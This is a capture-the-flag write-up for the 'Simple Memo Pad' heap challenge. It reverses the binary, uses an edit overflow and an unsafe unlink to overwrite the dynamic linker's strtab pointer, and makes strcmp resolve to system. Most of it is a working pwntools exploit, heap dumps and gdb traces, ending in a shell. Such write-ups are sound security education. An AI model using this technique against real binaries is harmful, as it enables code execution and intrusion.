Simple Memo Pad (8 solves) (399 points)

nc memopad.tasks.ctf.codeblue.jp 5498

Attachment: simple_memo_pad.tgz xpl.py

*******************************
*       Simple Memo Pad       *
*******************************
                     Ver. Alpha


1. Write a note on a blank area
2. Edit a note
3. Delete a note
4. Show a note
5. Quit
>

Hmm, Write, Edit, Delete, Show… Looks like the default entry heap challenge…

But then, we’re only allowed to edit and delete once, and well, Show a note only returns a sad:

Sorry, not implemented yet.

So, things look grim. After reversing the binary even more :)

void initApp()
{
  ...

  fd = open("/dev/urandom", 0);
  
  read(fd, &buf, 2uLL);
  malloc(buf);          // Create random sized buffer on heap -.-
  
  ...
}

The first thing it does, is to create a buffer on the heap with a random size, so our chunks will be on an unpredictable offset in the heap.

After this, it will create 20 chunks on the heap

struct Note {
  long Canary;
  int Index;
  int InUse;
  char Content[128];
  long Next;
  long Prev;
};

Note *initializeChunks()
{
  Note *headNote = NULL;
  Note *prevNote = NULL;
  Note *currentNote = NULL;

  for ( int i = 0; i <= 19; ++i )
  {
    currentNote = (Note *)malloc(160uLL);

    if ( !currentNote )
      showSomethingWrong();

    currentNote->Canary = get_note_canary();
    currentNote->Index = i + 1;
    currentNote->InUse = 0;
    memset(currentNote->Content, 0, 128uLL);
    currentNote->Next = 0LL;
    currentNote->Prev = 0LL;

    if ( headNote )
    {
      prevNote->Next = currentNote;
      currentNote->Prev = prevNote;

      prevNote = currentNote;
    }
    else
    {
      strcpy(currentNote->Content, "This is a sample!");

      currentNote->InUse = 1;
      prevNote = currentNote;
      headNote = currentNote;
    }
  }
  return headNote;
}

Since it’s setting some kind of FD/BK pointer, it looks like some custom (and probably vulnerable) malloc implementation is coming up.

But to harden things up, a canary is placed in the beginning of every chunk…

int writeNote(Note *headNote)
{  
  Note *freeNote;

  // Search next note chunk, that is not currently in use
  for ( freeNote = headNote; freeNote && freeNote->InUse; freeNote = freeNote->Next );

  if ( freeNote )
  {    
    // Check the note canary
    if ( freeNote->Canary != get_note_canary() )
    {
      writeText("Linked list corruption detected :P\n");
      _exit(1);
    }

    writeText("Content: ");
    callRead(freeNote->Content, 128LL, '\n');
    freeNote->InUse = 1;
    writeText("Done!\n");
    return 0;
  }
  else
  {
    writeText("Out of paper.\n");
    return 1;
  }
}

This one breaks it. Even if we would be able to corrupt the linked note list, the next write would check, if the canary of the note is correct and terminate, if we’d try to overwrite some got entry for example (since no canary is near).

But let’s continue with the reversing for now

int editNote(Note *headNote)
{
  int index; 
  Note *selectedNote; 

  writeText("Index: ");
  index = read_number();

  if ( index == 1 )
  {
    writeText("You can't edit sample page.\n");
    return 1;
  }
  else
  {
    for ( selectedNote = headNote; selectedNote && selectedNote->Index != index; selectedNote = selectedNote->Next );

    if ( selectedNote )
    {      
      if ( selectedNote->Canary != get_note_canary() )
      {
        writeText("Linked list corruption detected :P\n");
        _exit(1);
      }
      if ( selectedNote->InUse )
      {
        writeText("Content: ");

        callRead(selectedNote->Content, 136LL, 10);     // Overwrite of FD possible
                                                
        writeText("Done!\n");
        return 0;
      }
      else
      {
        writeText("You can't edit a blank page.\n");
        return 1;
      }
    }
    else
    {
      writeText("Page not found.\n");
      return 1;
    }
  }  
}

So, editing a note reads 136 bytes, thus allowing us to overwrite the Next pointer of the note chunk (but only this one, leaving the Prev pointer intact).

int deleteNote(Note *headNote)
{ 
  int index; 

  Note *selectedNote; 

  writeText("Index: ");
  index = read_number();

  ...
      if ( selectedNote->InUse )
      {
        Note* ptr_prev_note = selectedNote->Prev;
        Note* ptr_next_note = selectedNote->Next;     

        // Unsafe unlink
        if ( ptr_prev_note )
          ptr_prev_note->Next = ptr_next_note;
        if ( ptr_next_note )
          ptr_next_note->Prev = ptr_prev_note;

        writeText("Done!\n");
        return 0;
      }
  ...
}

Ok, so we’ve got an unsafe unlink here.

Thus, since we control Next we can write the address from the Prev pointer anywhere (by ptr_next_note->Prev = ptr_prev_note). Prev is at offset 0x98 from the chunk, so to overwrite an address x we just have to set Next to x - 0x98, and then the unlink will write value from Prev to x.

Let’s sum this up:

  • No leak available in the binary
  • Chunks are at random offsets in the heap
  • Every chunk has a canary, so we cannot use writeNote to write anywhere except in our preinitialized chunks
  • We can overwrite ONE arbitrary address with the address of one of our note chunks

This left me stumped for a while, thinking what we could possibly do with one write without knowing any address (except the bss ones).

Well. No leaks and no libc given? This actually yells for dlresolve

When the binary tries to call a libc function for the first time, it has to use dl_resolve to get the actual address for this function from libc at runtime. This will call _dl_fixup, and pass the link_map, with which it can resolve the addresses from libc. It can be rather tedious to forge a fake linkmap to trick dl_resolve, but luckily we won’t have to do that this time :)

Let’s look at a very stripped down version of _dl_fixup

_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{
  const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

  ...

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

   /* Look up the target symbol.  If the normal lookup rules are not used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {      
      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
      {
        ...
      }
     
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      ...
    }
    else
    {
      // Symbol is already resolved      
    }

  ...
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

strtab is just a table of symbol names (strings), that are used in the binary.

x/20s 0x400418
0x400418: ""
0x400419: "libc.so.6"
0x400423: "__stack_chk_fail"
0x400434: "_exit"
0x40043a: "strlen"
0x400441: "memset"
0x400448: "__errno_location"
0x400459: "read"
0x40045e: "malloc"
0x400465: "atoi"
0x40046a: "close"
0x400470: "open"
0x400475: "sleep"
0x40047b: "strcmp"
0x400482: "__libc_start_main"
0x400494: "write"
0x40049a: "__gmon_start__"
0x4004a9: "GLIBC_2.4"
0x4004b3: "GLIBC_2.2.5"
0x4004bf: ""

With the symbol table, _dl_fixup will calculate the offset of the symbol name to lookup (strtab + sym->st_name), and then call _dl_lookup_symbol_x, which will resolve the function from libc by it’s symbol name.

The link_map has a pointer to the strtab, which gets loaded in _dl_fixup

x/100gx 0x00007f82e69d4170
0x7f82e69d4170: 0x0000000000000000  0x00007f82e69d4700
0x7f82e69d4180: 0x00000000006017d0  0x00007f82e69d4708
0x7f82e69d4190: 0x0000000000000000  0x00007f82e69d4170
0x7f82e69d41a0: 0x0000000000000000  0x00007f82e69d46e8
0x7f82e69d41b0: 0x0000000000000000  0x00000000006017d0
0x7f82e69d41c0: 0x00000000006018b0  0x00000000006018a0
0x7f82e69d41d0: 0x0000000000000000  0x0000000000601850   <== Pointer to strtab - 0x8
0x7f82e69d41e0: 0x0000000000601860  0x00000000006018e0
0x7f82e69d41f0: 0x00000000006018f0  0x0000000000601900
0x7f82e69d4200: 0x0000000000601870  0x0000000000601880
0x7f82e69d4210: 0x00000000006017e0  0x00000000006017f0
0x7f82e69d4220: 0x0000000000000000  0x0000000000000000
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdfc0 --> 0x31 ('1')
RBX: 0x7fffffffdfa0 --> 0x0 
RCX: 0x0 
RDX: 0x24 ('$')
RSI: 0xc ('\x0c')
RDI: 0x7fb660066170 --> 0x0                                                         # Linkmap
RBP: 0x7fffffffdfe0 --> 0x7fffffffe030 --> 0x401190 (push   r15)
RSP: 0x7fffffffde80 --> 0x0 
RIP: 0x7fb65fe4fbde (<_dl_fixup+14>:  mov    rax,QWORD PTR [rdi+0x68])
[-------------------------------------code-------------------------------------]
   0x7fb65fe4fbd4 <_dl_fixup+4>:  mov    esi,esi
   0x7fb65fe4fbd6 <_dl_fixup+6>:  lea    rdx,[rsi+rsi*2]
   0x7fb65fe4fbda <_dl_fixup+10>: sub    rsp,0x10
=> 0x7fb65fe4fbde <_dl_fixup+14>: mov    rax,QWORD PTR [rdi+0x68]
   0x7fb65fe4fbe2 <_dl_fixup+18>: mov    rdi,QWORD PTR [rax+0x8]
   0x7fb65fe4fbe6 <_dl_fixup+22>: mov    rax,QWORD PTR [r10+0xf8]
   0x7fb65fe4fbed <_dl_fixup+29>: mov    rax,QWORD PTR [rax+0x8]
   0x7fb65fe4fbf1 <_dl_fixup+33>: lea    r8,[rax+rdx*8]

69    const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
[----------------------------------registers-----------------------------------]
RAX: 0x601850 --> 0x5                                                             # pointer to strtab - 0x8
RBX: 0x7fffffffdfa0 --> 0x0 
RCX: 0x0 
RDX: 0x24 ('$')
RSI: 0xc ('\x0c')
RDI: 0x7fb660066170 --> 0x0 
RBP: 0x7fffffffdfe0 --> 0x7fffffffe030 --> 0x401190 (push   r15)
RSP: 0x7fffffffde80 --> 0x0 
RIP: 0x7fb65fe4fbe2 (<_dl_fixup+18>:  mov    rdi,QWORD PTR [rax+0x8])
[-------------------------------------code-------------------------------------]
   0x7fb65fe4fbd6 <_dl_fixup+6>:  lea    rdx,[rsi+rsi*2]
   0x7fb65fe4fbda <_dl_fixup+10>: sub    rsp,0x10
   0x7fb65fe4fbde <_dl_fixup+14>: mov    rax,QWORD PTR [rdi+0x68]
=> 0x7fb65fe4fbe2 <_dl_fixup+18>: mov    rdi,QWORD PTR [rax+0x8]
   0x7fb65fe4fbe6 <_dl_fixup+22>: mov    rax,QWORD PTR [r10+0xf8]
   0x7fb65fe4fbed <_dl_fixup+29>: mov    rax,QWORD PTR [rax+0x8]
   0x7fb65fe4fbf1 <_dl_fixup+33>: lea    r8,[rax+rdx*8]
   0x7fb65fe4fbf5 <_dl_fixup+37>: mov    rax,QWORD PTR [r10+0x70]


69    const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
[----------------------------------registers-----------------------------------]
RAX: 0x601850 --> 0x5 
RBX: 0x7fffffffdfa0 --> 0x0 
RCX: 0x0 
RDX: 0x24 ('$')
RSI: 0xc ('\x0c')
RDI: 0x400418 --> 0x6f732e6362696c00 ('')                                       # strtab
RBP: 0x7fffffffdfe0 --> 0x7fffffffe030 --> 0x401190 (push   r15)
RSP: 0x7fffffffde80 --> 0x0 
RIP: 0x7fb65fe4fbe6 (<_dl_fixup+22>:  mov    rax,QWORD PTR [r10+0xf8])
[-------------------------------------code-------------------------------------]
   0x7fb65fe4fbda <_dl_fixup+10>: sub    rsp,0x10
   0x7fb65fe4fbde <_dl_fixup+14>: mov    rax,QWORD PTR [rdi+0x68]
   0x7fb65fe4fbe2 <_dl_fixup+18>: mov    rdi,QWORD PTR [rax+0x8]
=> 0x7fb65fe4fbe6 <_dl_fixup+22>: mov    rax,QWORD PTR [r10+0xf8]
   0x7fb65fe4fbed <_dl_fixup+29>: mov    rax,QWORD PTR [rax+0x8]
   0x7fb65fe4fbf1 <_dl_fixup+33>: lea    r8,[rax+rdx*8]
   0x7fb65fe4fbf5 <_dl_fixup+37>: mov    rax,QWORD PTR [r10+0x70]
   0x7fb65fe4fbf9 <_dl_fixup+41>: mov    rcx,QWORD PTR [r8+0x8]

72      = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);

Soooo, 0x601850 + 0x8 is an address in the bss, and since the binary doesn’t have PIE, it’s fixed.

This means, we could use our precious overwrite from unsafe unlink to overwrite the address of strtab with our chunk pointer.

By this, we could pass _dl_fixup a fake strtab, and just exchange the name of the symbol, that currently gets resolved with system and

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);

would give us the resolved address of system instead.

We’ll need

  • a symbol, that’s not already resolved
  • that preferrably gets called with a parameter, which we control
  • prepare a fake strtab with system at the position, where the real symbol name would be

When we’re trying to exit the application, it will ask us, if we’re really sure and then use strcmp (&input, "y") to check our answer. Since this won’t be called, until we try to exit, strcmp won’t be resolved yet, and we also control the first parameter. Perfect :)

So we’ll just create a fake strtab, place system at the offset, where strcmp is stored in the original strtab and put it in a note chunk.

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "memopad.tasks.ctf.codeblue.jp"
PORT = 5498

def write_note(content):
    r.sendline("1")
    r.sendlineafter("Content: ", content)    
    r.recvuntil("> ")

def edit_note(idx, content, usenl=True):
    r.sendline("2")
    r.sendlineafter("Index: ", str(idx))
    r.sendlineafter("Content: ", content)
    r.recvuntil("> ")

def del_note(idx, usenl=True):
    r.sendline("3")
    r.sendlineafter("Index: ", str(idx))
    r.recvuntil("> ")

def quit(answer):
    r.sendline("5")

    r.sendlineafter("(y/n)", answer)

def exploit(r):
    e = ELF("./simple_memo_pad")
    
    r.recvuntil("> ")

    log.info("Create fake note for str tab")

    payload = "A" * 83
    payload += "system"

    write_note(payload)

    r.interactive()

    return

if __name__ == "__main__":
    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
        exploit(r)
    else:
        LOCAL = True
        r = process("./simple_memo_pad")
        print util.proc.pidof(r)
        pause()
        exploit(r)

The heap will look like this:

0x60c0b0: 0x0000000000000000  0x00000000000000b1
0x60c0c0: 0xc355eb8d42c90e00  0x0000000100000002    <= Note chunk 2
0x60c0d0: 0x4141414141414141  0x4141414141414141
0x60c0e0: 0x4141414141414141  0x4141414141414141
0x60c0f0: 0x4141414141414141  0x4141414141414141
0x60c100: 0x4141414141414141  0x4141414141414141
0x60c110: 0x4141414141414141  0x4141414141414141
0x60c120: 0x6574737973414141  0x000000000000006d    <= "system" string
0x60c130: 0x0000000000000000  0x0000000000000000
0x60c140: 0x0000000000000000  0x0000000000000000
0x60c150: 0x000000000060c170  0x000000000060c010
0x60c160: 0x0000000000000000  0x00000000000000b1
0x60c170: 0xc355eb8d42c90e00  0x0000000000000003    <= Note chunk 3
0x60c180: 0x0000000000000000  0x0000000000000000
0x60c190: 0x0000000000000000  0x0000000000000000
0x60c1a0: 0x0000000000000000  0x0000000000000000
0x60c1b0: 0x0000000000000000  0x0000000000000000
0x60c1c0: 0x0000000000000000  0x0000000000000000
0x60c1d0: 0x0000000000000000  0x0000000000000000
0x60c1e0: 0x0000000000000000  0x0000000000000000
0x60c1f0: 0x0000000000000000  0x0000000000000000
0x60c200: 0x000000000060c220  0x000000000060c0c0    <= Next / Prev pointer

The Prev pointer of chunk 3 points to our fake strtab. We can now use the overflow in editNote to overwrite the Next pointer to define, where we want to write the value from Prev.

log.info("Create another note for unsafe unlink")
write_note("A" * 128)

log.info("Overwrite FD pointer of the 3rd chunk with pointer to STRTAB")
payload = "A" * 128
payload += p64(0x601858 - 0x98)

log.info("Unlink to overwrite STRTAB address with chunk 2 address")
edit_note(3, payload)
0x60c0b0: 0x0000000000000000  0x00000000000000b1
0x60c0c0: 0xc355eb8d42c90e00  0x0000000100000002  <= Note chunk 2
0x60c0d0: 0x4141414141414141  0x4141414141414141
0x60c0e0: 0x4141414141414141  0x4141414141414141
0x60c0f0: 0x4141414141414141  0x4141414141414141
0x60c100: 0x4141414141414141  0x4141414141414141
0x60c110: 0x4141414141414141  0x4141414141414141
0x60c120: 0x6574737973414141  0x000000000000006d  <= "system" string
0x60c130: 0x0000000000000000  0x0000000000000000
0x60c140: 0x0000000000000000  0x0000000000000000
0x60c150: 0x00000000006017c0  0x000000000060c010
0x60c160: 0x0000000000000000  0x00000000000000b1
0x60c170: 0xc355eb8d42c90e00  0x0000000100000003  <= Note chunk 3
0x60c180: 0x4141414141414141  0x4141414141414141
0x60c190: 0x4141414141414141  0x4141414141414141
0x60c1a0: 0x4141414141414141  0x4141414141414141
0x60c1b0: 0x4141414141414141  0x4141414141414141
0x60c1c0: 0x4141414141414141  0x4141414141414141
0x60c1d0: 0x4141414141414141  0x4141414141414141
0x60c1e0: 0x4141414141414141  0x4141414141414141
0x60c1f0: 0x4141414141414141  0x4141414141414141
0x60c200: 0x00000000006017c0  0x000000000060c0c0  <= Next (pointing to strtab - 0x98) / Prev

Then we’ll use the unsafe unlink in deleteNote to overwrite 0x601858 with the Prev pointer from our chunk

del_note(3)
x/gx 0x601858
0x601858: 0x000000000060c0c0

With this setup, _dl_fixup will now use 0x60c0c0 instead of 0x400418 (original strtab) for finding the symbol name to resolve. Since we put system at the position of strcmp, _dl_lookup_symbol_x will now happily serve us the address of system instead.

So, all there’s left to do is, to exit the application and tell it that we’re '/bin/sh' sure, that we want to exit.

log.info("Exit with '/bin/sh' to resolve strcmp as system")
quit("/bin/sh")

Quick check in gdb:

[----------------------------------registers-----------------------------------]
RAX: 0x1 
RBX: 0x601a08 --> 0x400766 (<strcmp@plt+6>: push   0x9)
RCX: 0x7f80d82ba4c8 --> 0x7f80d82ba428 --> 0x7f80d82b69c8 --> 0x7f80d82ba170 --> 0x0 
RDX: 0x7ffdf7fbc8a8 --> 0x400370 --> 0x1200000063 
RSI: 0x7f80d82ba170 --> 0x0 
RDI: 0x60c123 --> 0x6d6574737973 ('system')                   # symbol name from our fake strtab
RBP: 0x7ffdf7fbca20 --> 0x401190 (push   r15)
RSP: 0x7ffdf7fbc890 --> 0x1 
RIP: 0x7f80d80a3c9f (<_dl_fixup+207>: call   0x7f80d809ef70 <_dl_lookup_symbol_x>)
R8 : 0x7f80d82b6a10 --> 0x4004b3 ("GLIBC_2.2.5")
R9 : 0x1 
R10: 0x7f80d82ba170 --> 0x0 
R11: 0x246 
R12: 0x4007d0 (xor    ebp,ebp)
R13: 0x7ffdf7fbcb00 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7f80d80a3c93 <_dl_fixup+195>:  mov    r9d,0x1
   0x7f80d80a3c99 <_dl_fixup+201>:  add    rdi,rsi
   0x7f80d80a3c9c <_dl_fixup+204>:  mov    rsi,r10
=> 0x7f80d80a3c9f <_dl_fixup+207>:  call   0x7f80d809ef70 <_dl_lookup_symbol_x>
   0x7f80d80a3ca4 <_dl_fixup+212>:  mov    r8,rax
   0x7f80d80a3ca7 <_dl_fixup+215>:  mov    eax,DWORD PTR fs:0x18
   0x7f80d80a3caf <_dl_fixup+223>:  test   eax,eax
   0x7f80d80a3cb1 <_dl_fixup+225>:  pop    rcx
Guessed arguments:
arg[0]: 0x60c123 --> 0x6d6574737973 ('system')
arg[1]: 0x7f80d82ba170 --> 0x0 
arg[2]: 0x7ffdf7fbc8a8 --> 0x400370 --> 0x1200000063 
arg[3]: 0x7f80d82ba4c8 --> 0x7f80d82ba428 --> 0x7f80d82b69c8 --> 0x7f80d82ba170 --> 0x0 

111       result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,

Everything looks fine, resolving system here, and:

$ python xpl.py 1
[+] Opening connection to memopad.tasks.ctf.codeblue.jp on port 5498: Done
[*] '/home/kileak/pwn/Challenges/codeblue/simple_memo/simple_memo_pad/simple_memo_pad'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Create fake entry for str tab
[*] Create another note for unsafe unlink
[*] Overwrite FD pointer of the 3rd chunk with pointer to STRTAB
[*] Unlink to overwrite STRTAB address with chunk 2 address
[*] Exit with '/bin/sh' to resolve strcmp as system
[*] Switching to interactive mode
: $ cat flag
CBCTF{A11_y0ur_5tRtaB_are_beL0nG_tO_uS}